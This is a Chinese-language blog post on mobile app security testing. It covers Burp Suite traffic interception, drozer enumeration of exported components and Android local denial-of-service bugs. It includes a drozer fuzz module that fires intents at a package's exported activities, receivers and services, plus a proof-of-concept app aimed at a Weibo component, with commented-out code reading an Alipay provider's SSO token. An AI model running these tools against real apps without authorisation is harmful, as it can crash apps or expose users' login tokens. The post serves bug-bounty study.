Hexo

  • 首页

  • 归档

移动安全知识学习总结

发表于 2019-05-15 更新于 2019-08-18

移动安全知识总结

前言

之前自学了安卓的漏洞挖掘知识,还在wsrc、bilisrc、asrc等提交了安卓app方面的安全漏洞,一直没有做笔记,现在就来全面地总结一次。

用burpsuite实现app抓包

点击Proxy——>Options里的add

1565690472747

输入模拟器的ip和端口

1565690539962

接着就是配置手机端,首先导出Burpsuite的CA证书。

点击import/export CA certificate,

1565690686493

选择第一个选项,然后重命名为xxx.cer,保存在一个合适的文件夹

1565690807873

接着在安卓端的 设置–>安全–>从SD卡安装 把证书导进安卓端

1565691159178

最后在网络设置上刚才在burpsuite输入的代理就可以进行抓包啦

1565691272994

附上一张我在微博src挖到逻辑漏洞的图

1565695708390

用drozer进行app的漏洞挖掘

drozer真的是个测安卓的神器,其最大的特点就是模块化,可以自行编写测试模块。安装教程就不多讲,大家可以在网上搜索教程。

1、在PC上使用adb进行端口转发,转发到Drozer使用的端口31415

1
adb forward tcp:31415 tcp:31415

2、在Android设备上开启Drozer Agent

1565703734443

3、在PC上开启Drozer console

1
drozer console connect

1565703870788

测试用到的各种命令

这里用官方提供的app做测试

获取包名

1
run app.package.list -f sieve

1565704961819

获取应用的基本信息

1
run app.package.info -a com.mwr.example.sieve

1565705075557

确定攻击面

1
run app.package.attacksurface com.mwr.example.sieve

1565705210606

由这可以看出3个activity、两个content providers和两个services暴露,可能存在漏洞。

Activity

(1)获取activity信息

1
run app.activity.info -a com.mwr.example.sieve

1565705458665

这里显示的是具体activity的名称,当我们反编译的时候搜索该名称就能找到漏洞代码。

(2)启动activity

1
run app.activity.start --component com.mwr.example.sieve

这条命令后面要加上具体的activity名称,当我们输入命令启动activity的时候,如果app崩溃了,就存在本地拒绝服务漏洞,如果启动的是我们不能访问的页面,该app就存在权限提升漏洞。

更多具体的命令请参考下面这篇文章

https://www.cnblogs.com/goodhacker/p/3906180.html

安卓的本地拒绝服务漏洞

下面要讲的一中漏洞既普遍又通用,即安卓的本地拒绝服务。通用型本地拒绝服务漏洞,主要源于攻击者向Intent中传入其自定义的序列化类对象,当调用组件收到此Extra序列化类对象时,无法找到此序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
本地拒绝服务漏洞不仅可以导致安全防护等应用的防护功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等),而且也可被竞争方应用利用来攻击,使得自己的应用崩溃,造成不同程度的经济利益损失。

1) NullPointerException异常导致的拒绝服务,源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃;

代码片段:

1
2
3
4
Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
Log.d("TAG", "Test for Android Refuse Service Bug");
}

2) ClassCastException异常导致的拒绝服务, 源于程序没有对getSerializableExtra()等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃;

代码片段:

1
2
Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");

3) IndexOutOfBoundsException异常导致的拒绝服务,源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃;

代码片段:

1
2
3
4
5
6
7
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
for (int i = 0; i < USER_NUM; i++) {
intArray.get(i);
}
}

app漏洞测试步骤

1、列出包含xxx字样的包名

1
run app.package.list -f xxx

1565712145149

2、查看攻击面

1
run app.package.attacksurface 包名

1565712177039

3、查看暴露的activity

1
run app.activity.info -a 包名

1565712309814

4、接下来就是用apktool反汇编在AndroidManifest.xml中找activity的详细信息

apktool反汇编命令:

1
apktool d xxx.apk -o outdir

1565712740640

查看所在的文件夹

1565712896343

5、接着就是将apk反编译成java代码,由于方便,这里我常用的工具是 安卓逆向助手,当然jeb等工具也不错,但是正版的太贵了。。

1565713060560

这里直接用jd-gui看第一个jar包,然后直接审oncreate函数,看看其有没有本地拒绝服务和权限提升等漏洞。

1565713199645

6、也可以用jad工具把jar包反编译成java文件,然后用FileLocator Pro查找java

文件中有无漏洞代码,这里也可以用来查找动态注册的broadcast receivers

jad 反编译命令

1
jad -o -r -sjava -dsrc com/**/*.class

此命令作用是把com文件夹及其子目录下所有的class反编译

查找包含文本:

1565713745004

对activity进行fuzz自动化测试本地拒绝服务

前面说过drozer最大的特点就是模块化,上面的步骤手动测太麻烦,我们可以自己编写或找个脚本自动帮我们测试。下面是我从网上找的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from drozer import android
from drozer.modules import common, Module

class Deny(Module, common.Filters, common.PackageManager):

name = "find NullPointerException"
description = "."
examples = """
dz> run app.package.deny com.android.browser
6 activities exported
4 broadcast receivers exported
1 content providers exported
0 services exported"""
author = "ydalien"
date = "2017-01-02"
license = "BSD (3 clause)"
path = ["exp", "fuzz"]
permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]

def add_arguments(self, parser):
parser.add_argument("package", help="the identifier of the package to inspect")

def attack(self,component,package,flags):
act=None
cat=None
data=None
comp=(package,component.name)
extr=None
flgs=None

if(flags=='activity'):
flgs =['ACTIVITY_NEW_TASK']

intent = android.Intent(action=act,component=comp,category=cat,data_uri=None, extras=extr, flags=flgs, mimetype=None)

if intent.isValid():
if(flags=='activity'):
self.getContext().startActivity(intent.buildIn(self))
if(flags=='service'):
self.getContext().startService(intent.buildIn(self))
if(flags == 'receiver'):
self.getContext().sendBroadcast(intent.buildIn(self))
else:
self.stderr.write("[-] Invalid Intent!\n")


def execute(self, arguments):
if arguments.package != None:
package = self.packageManager().getPackageInfo(arguments.package, common.PackageManager.GET_ACTIVITIES | common.PackageManager.GET_RECEIVERS | common.PackageManager.GET_PROVIDERS | common.PackageManager.GET_SERVICES)
application = package.applicationInfo

activities = self.match_filter(package.activities, 'exported', True)
receivers = self.match_filter(package.receivers, 'exported', True)
providers = self.match_filter(package.providers, 'exported', True)
services = self.match_filter(package.services, 'exported', True)

self.stdout.write("Attack Surface:\n")
self.stdout.write(" %d activities exported\n" % len(activities))
self.stdout.write(" %d broadcast receivers exported\n" % len(receivers))
self.stdout.write(" %d content providers exported\n" % len(providers))
self.stdout.write(" %d services exported\n" % len(services))

if (application.flags & application.FLAG_DEBUGGABLE) != 0:
self.stdout.write(" is debuggable\n")

if package.sharedUserId != None:
self.stdout.write(" Shared UID (%s)\n" % package.sharedUserId)

actions=[activities,receivers,services]
action_str=['activity','receiver','service']
i=-1
try:
for action in actions:
i+=1
if len(action) > 0:
for tmp in action:
try:
if len(tmp.name) > 0:
self.stdout.write(" [+]%s name:%s\n" % (action_str[i],tmp.name))
self.attack(component=tmp, package=arguments.package, flags=action_str[i])
except Exception, e:
self.stdout.write(" error-->%s name:%s\n" % (action_str,tmp.name))
self.stdout.write(" errorcontent:%s\n" % e)
continue
except:
self.stdout.write(" error")
else:
self.stdout.write("No package specified\n")

drozer 通过Module类的metadata来配置和管理每个模块,因此模块编写时需要包含以下 metadata信息:

1
2
3
4
5
6
7
name          模块的名称
description 模块的功能描述
examples 模块的使用示例
author 作者
date 日期
license 许可
path 描述模块命令空间

这些信息中比较重要的就是path变量,它描述了模块在drozer namespace中的路径,结合对应的classname可以唯一确定drozer中的模块。

例如上面脚本中的path = [“exp”, “fuzz”] 我们只要运行 run exp.fuzz.deny加上脚本需要的参数(这里是包名)就能运行脚本。

drozer模块安装有两种方法,我们只讲其中一种,在repository中按照python包管理的方法新建目录结构,将python文件放入相应目录中。我们必须先在本地创建一个drozer 的repository目录,可以直接在drozer console中通过命令创建:

1
dz> module repository create [/path/to/repository]

创建好本地repository后就可以安装自己的模块了,按照python包管理的方式,在本地repository目录下创建目录exp,新建init.py空白文件,然后将Python模块源码放入exp目录即可。例如将fuzz.py放入exp目录下

1565756653747

现在模块安装已经完成,可以开始测试了,首先开始运行前,我们要用logcat命令 logcat | grep java.lang.RuntimeException‘查看崩溃的原因具体是由哪个activity造成的,接着就可以run起来啦

1565770915799

1565770971436

由上图可看出该app因为空指针而导致程序崩溃,然后就可以反编译查看对应的漏洞代码,接着写poc

附上我常用的poc和我在src提交的洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class MainActivity extends Activity {

protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button =(Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {

@Override
public void onClick(View v) {
/*
Uri uri=Uri.parse("content://com.alipay.ali.authlogin/aliuser_sdk_sso");
Cursor cursor=getContentResolver().query(uri, null, null, null, null);
if(cursor!=null){
String id=cursor.getString(cursor.getColumnIndex("loginId"));
String img=cursor.getString(cursor.getColumnIndex("headImg"));
String token=cursor.getString(cursor.getColumnIndex("alipaySsoToken"));
System.out.println(id);
//Toast.makeText(context, id+""+img+""+token, Toast.LENGTH_SHORT);
}

cursor.close();
*/
//Intent v2=new Intent("com.taobao.idlefish.DATA_EXPORT");
Intent v2=new Intent();
v2.setClassName("com.sina.weibo", "com.sina.weibo.xxx.xxx.xxx");
//v2.setClassName("tv.danmaku.bili", "com.mall.ui.base.MallSigalTaskWebFragmentLoadActivity");
//v2.addCategory("android.intent.category.BROWSABLE");
//v2.putExtra("id", "a");
//v2.putExtra("c", "exportData");

//v2.putExtra("_fragment", "com.mall.base.web.MallWebFragment");
//v2.setData(Uri.parse("file:///storage/emulated/0/tencent/MicroMsg/Download/2.html"));
//v2.putExtra("intent_bundle_nameintent_bundle_name","a");
//v2.putExtra("bundle_select_limit_num",1);
//v2.setData(Uri.parse(""));
startActivity(v2);
//startService(v2);
//sendBroadcast(v2);
}
});

}
}

1565780462945

鹏城杯线下总结
spring框架cve复现
  • 文章目录
  • 站点概览

GD

a GOOD pwner
14 日志
  1. 1. 移动安全知识总结
    1. 1.1. 前言
    2. 1.2. 用burpsuite实现app抓包
    3. 1.3. 用drozer进行app的漏洞挖掘
    4. 1.4. 测试用到的各种命令
      1. 1.4.1. 获取包名
      2. 1.4.2. 获取应用的基本信息
      3. 1.4.3. 确定攻击面
      4. 1.4.4. Activity
        1. 1.4.4.1. 更多具体的命令请参考下面这篇文章
    5. 1.5. 安卓的本地拒绝服务漏洞
    6. 1.6. app漏洞测试步骤
      1. 1.6.1. 对activity进行fuzz自动化测试本地拒绝服务
© 2019 GD
由 Hexo 强力驱动 v3.7.1
|
主题 – NexT.Muse v7.3.0